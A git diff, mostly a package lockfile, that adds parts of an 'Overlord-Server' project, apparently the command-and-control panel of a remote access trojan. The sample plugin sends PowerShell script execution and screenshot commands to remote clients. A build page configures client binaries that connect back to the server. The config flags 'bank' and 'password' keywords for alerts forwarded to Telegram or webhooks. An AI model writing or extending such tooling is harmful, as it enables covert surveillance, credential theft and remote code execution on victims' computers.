"sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA=="], + + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], + + "ip-address": ["ip-address@5.9.4", "", { "dependencies": { "jsbn": "1.1.0", "lodash": "^4.17.15", "sprintf-js": "1.1.2" } }, "sha512-dHkI3/YNJq4b/qQaz+c8LuarD3pY24JqZWfjB8aZx1gtpc2MDILu9L9jpZe1sHpzo/yWFweQVn+U//FhazUxmw=="], + + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], + + "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + + "is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="], + + "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + + "jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="], + + "jsbn": ["jsbn@1.1.0", "", {}, "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A=="], + + "kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="], + + "lazy": ["lazy@1.0.11", "", {}, "sha512-Y+CjUfLmIpoUCCRl0ub4smrYtGGr5AOa2AKOaWelGHOGz33X/Y/KizefGqbkwfz44+cnq/+9habclf8vOmu2LA=="], + + "lightningcss": ["lightningcss@1.30.2", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.30.2", "lightningcss-darwin-arm64": "1.30.2", "lightningcss-darwin-x64": "1.30.2", "lightningcss-freebsd-x64": "1.30.2", "lightningcss-linux-arm-gnueabihf": "1.30.2", "lightningcss-linux-arm64-gnu": "1.30.2", "lightningcss-linux-arm64-musl": "1.30.2", "lightningcss-linux-x64-gnu": "1.30.2", "lightningcss-linux-x64-musl": "1.30.2", "lightningcss-win32-arm64-msvc": "1.30.2", "lightningcss-win32-x64-msvc": "1.30.2" } }, "sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ=="], + + "lightningcss-android-arm64": ["lightningcss-android-arm64@1.30.2", "", { "os": "android", "cpu": "arm64" }, "sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A=="], + + "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.30.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA=="], + + "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.30.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ=="], + + "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.30.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA=="], + + "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.30.2", "", { "os": "linux", "cpu": "arm" }, "sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA=="], + + "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A=="], + + "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA=="], + + "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w=="], + + "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA=="], + + "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.30.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ=="], + + "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.30.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw=="], + + "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + + "logform": ["logform@2.7.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ=="], + + "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], + + "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + + "mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="], + + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + + "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="], + + "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], + + "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + + "one-time": ["one-time@1.0.0", "", { "dependencies": { "fn.name": "1.x.x" } }, "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g=="], + + "path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="], + + "pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="], + + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], + + "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + + "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], + + "postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="], + + "readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + + "rimraf": ["rimraf@2.7.1", "", { "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "./bin.js" } }, "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "safe-stable-stringify": ["safe-stable-stringify@2.5.0", "", {}, "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA=="], + + "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + + "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], + + "sprintf-js": ["sprintf-js@1.1.2", "", {}, "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug=="], + + "stack-trace": ["stack-trace@0.0.10", "", {}, "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg=="], + + "string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], + + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "tailwindcss": ["tailwindcss@4.1.18", "", {}, "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw=="], + + "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], + + "text-hex": ["text-hex@1.0.0", "", {}, "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg=="], + + "triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="], + + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + + "undici-types": ["undici-types@7.16.0", "", {}, "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw=="], + + "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + + "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], + + "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], + + "winston": ["winston@3.19.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.8", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.7.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.9.0" } }, "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA=="], + + "winston-transport": ["winston-transport@4.9.0", "", { "dependencies": { "logform": "^2.7.0", "readable-stream": "^3.6.2", "triple-beam": "^1.3.0" } }, "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A=="], + + "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], + + "yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.8.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.8.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.1", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@tybys/wasm-util": "^0.10.1" }, "bundled": true }, "sha512-p64ah1M1ld8xjWv3qbvFwHiFVWrq1yFvV4f7w+mzaqiR4IlSgkqhcRdHwsGgomwzBH51sRY4NEowLxnaBjcW/A=="], + + "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + + "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "color/color-convert": ["color-convert@3.1.3", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg=="], + + "color-string/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="], + + "winston/async": ["async@3.2.6", "", {}, "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA=="], + + "color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="], + } +} diff --git a/Overlord-Server/config.json.example b/Overlord-Server/config.json.example new file mode 100644 index 0000000..dbcf4ac --- /dev/null +++ b/Overlord-Server/config.json.example @@ -0,0 +1,28 @@ +{ + "auth": { + "username": "admin", + "password": "admin", + "jwtSecret": "change-this-secret-in-production" + }, + "server": { + "port": 5173, + "host": "0.0.0.0" + }, + "tls": { + "certPath": "./certs/server.crt", + "keyPath": "./certs/server.key", + "caPath": "" + }, + "notifications": { + "keywords": ["bank", "password", "admin"], + "minIntervalMs": 8000, + "spamWindowMs": 60000, + "spamWarnThreshold": 5, + "historyLimit": 200, + "webhookEnabled": false, + "webhookUrl": "", + "telegramEnabled": false, + "telegramBotToken": "", + "telegramChatId": "" + } +} diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json new file mode 100644 index 0000000..3085fca --- /dev/null +++ b/Overlord-Server/package.json @@ -0,0 +1,34 @@ +{ + "name": "overlord-server", + "version": "1.0.0", + "private": true, + "type": "module", + "scripts": { + "dev": "bun --watch src/index.ts", + "start": "bun run src/index.ts", + "build": "bun build --production --minify src/index.ts --target bun --outdir dist", + "build:prod:win": "bun build --production --minify src/index.ts --compile --target bun-windows-x64 --outfile dist/overlord-server.exe", + "build:prod:linux": "bun build --production --minify src/index.ts --compile --target bun-linux-x64 --outfile dist/overlord-server-linux-x64", + "build:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --minify", + "watch:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --watch" + }, + "dependencies": { + "@msgpack/msgpack": "^3.0.0", + "adm-zip": "^0.5.12", + "flag-icons": "latest", + "geoip-lite": "latest", + "jose": "^6.1.3", + "uuid": "^9.0.1", + "winston": "^3.11.0" + }, + "devDependencies": { + "@tailwindcss/cli": "^4.1.18", + "@types/bun": "^1.3.8", + "@types/geoip-lite": "latest", + "@types/uuid": "^9.0.7", + "autoprefixer": "^10.4.23", + "postcss": "^8.5.6", + "tailwindcss": "^4.1.18", + "typescript": "^5.6.3" + } +} diff --git a/Overlord-Server/plugins/sample/assets/sample.html b/Overlord-Server/plugins/sample/assets/sample.html new file mode 100644 index 0000000..999371b --- /dev/null +++ b/Overlord-Server/plugins/sample/assets/sample.html @@ -0,0 +1,48 @@ + + + + + + Sample Plugin + + + +
+
+

Sample Plugin

+

Go WASM + UI plugin

+
+ +
+
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + + + +
+
+ +
+

Log

+

+      
+
+ + + + diff --git a/Overlord-Server/plugins/sample/assets/sample.js b/Overlord-Server/plugins/sample/assets/sample.js new file mode 100644 index 0000000..a82deb4 --- /dev/null +++ b/Overlord-Server/plugins/sample/assets/sample.js @@ -0,0 +1,103 @@ +const params = new URLSearchParams(window.location.search); +const clientIdInput = document.getElementById("client-id"); +const messageInput = document.getElementById("message"); +const msgBoxInput = document.getElementById("msgbox"); +const logEl = document.getElementById("log"); +const sendBtn = document.getElementById("send-btn"); +const pingBtn = document.getElementById("ping-btn"); +const msgBoxBtn = document.getElementById("msgbox-btn"); +const runCmdBtn = document.getElementById("run-cmd-btn"); + +const pluginId = "sample"; +const clientIdFromUrl = params.get("clientId") || ""; +clientIdInput.value = clientIdFromUrl; +messageInput.value = "hello from sample UI"; +msgBoxInput.value = "Hello from Overlord"; + +function log(line) { + const ts = new Date().toISOString(); + logEl.textContent = `${ts} ${line}\n` + logEl.textContent; +} + +async function sendEvent(event, payload) { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/plugins/${pluginId}/event`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ event, payload }), + }); + if (!res.ok) { + const text = await res.text(); + log(`Send failed: ${res.status} ${text}`); + return; + } + log(`Sent event: ${event}`); +} + +sendBtn.addEventListener("click", () => { + const message = messageInput.value.trim(); + sendEvent("ui_message", { message }); +}); + +pingBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "ping_bulk", count: 100 }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Ping test failed: ${msg}`); + return; + } + log("Ping test x100 dispatched (single request)"); +}); + +msgBoxBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const text = msgBoxInput.value.trim() || "Hello from Overlord"; + const script = `$os = $env:OS; if ($os -ne 'Windows_NT') { exit } ; Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('${text.replace(/'/g, "''")}') | Out-Null`; + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "script_exec", script, scriptType: "powershell" }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Message box failed: ${msg}`); + return; + } + log("Message box command sent (Windows only)"); +}); + +runCmdBtn?.addEventListener("click", async () => { + const clientId = clientIdInput.value.trim(); + if (!clientId) { + log("Missing clientId"); + return; + } + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "screenshot" }), + }); + if (!res.ok) { + const msg = await res.text(); + log(`Command failed: ${msg}`); + return; + } + log("Command sent: screenshot"); +}); diff --git a/Overlord-Server/public/assets/ansi.js b/Overlord-Server/public/assets/ansi.js new file mode 100644 index 0000000..a1d005d --- /dev/null +++ b/Overlord-Server/public/assets/ansi.js @@ -0,0 +1,7 @@ +import AnsiToHtml from "https://cdn.jsdelivr.net/npm/ansi-to-html@0.7.2/+esm"; + +const converter = new AnsiToHtml({ newline: true, escapeHtml: true }); + +export function ansiToHtml(input = "") { + return converter.toHtml(input); +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js new file mode 100644 index 0000000..87ea073 --- /dev/null +++ b/Overlord-Server/public/assets/build.js @@ -0,0 +1,721 @@ +const form = document.getElementById("build-form"); +const buildBtn = document.getElementById("build-btn"); +const buildStatus = document.getElementById("build-status"); +const buildStatusText = document.getElementById("build-status-text"); +const buildOutputDiv = document.getElementById("build-output"); +const buildOutputContainer = document.getElementById("build-output-container"); +const buildResults = document.getElementById("build-results"); +const buildFilesDiv = document.getElementById("build-files"); +const logoutBtn = document.getElementById("logout-btn"); +const usernameDisplay = document.getElementById("username-display"); +const roleBadge = document.getElementById("role-badge"); +const usersLink = document.getElementById("users-link"); +const buildLink = document.getElementById("build-link"); +const scriptsLink = document.getElementById("scripts-link"); +const pluginsLink = document.getElementById("plugins-link"); +const rawServerListCheckbox = document.getElementById("raw-server-list"); +const serverUrlInput = document.getElementById("server-url"); + +function getDefaultServerUrlPlaceholder(isRawList) { + const isHttps = window.location.protocol === "https:"; + const host = window.location.host; + if (isRawList) { + return `${isHttps ? "https" : "http"}://${host}/list.txt`; + } + return `${isHttps ? "wss" : "ws"}://${host}`; +} + +function updateServerUrlPlaceholder() { + if (!serverUrlInput) return; + const isRaw = rawServerListCheckbox?.checked ?? false; + serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); +} + +let isBuilding = false; + +init(); + +if (rawServerListCheckbox && serverUrlInput) { + rawServerListCheckbox.addEventListener("change", () => { + const isRaw = rawServerListCheckbox.checked; + const current = serverUrlInput.value.trim(); + + if (isRaw) { + if (current.startsWith("wss://")) { + serverUrlInput.value = "https://" + current.slice("wss://".length); + } else if (current.startsWith("ws://")) { + serverUrlInput.value = "http://" + current.slice("ws://".length); + } + serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(true); + } else { + if (current.startsWith("https://")) { + serverUrlInput.value = "wss://" + current.slice("https://".length); + } else if (current.startsWith("http://")) { + serverUrlInput.value = "ws://" + current.slice("http://".length); + } + serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); + } + }); +} + +async function init() { + try { + updateServerUrlPlaceholder(); + const res = await fetch("/api/auth/me", { + credentials: "include", + }); + + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + usernameDisplay.textContent = data.username; + + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (data.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + 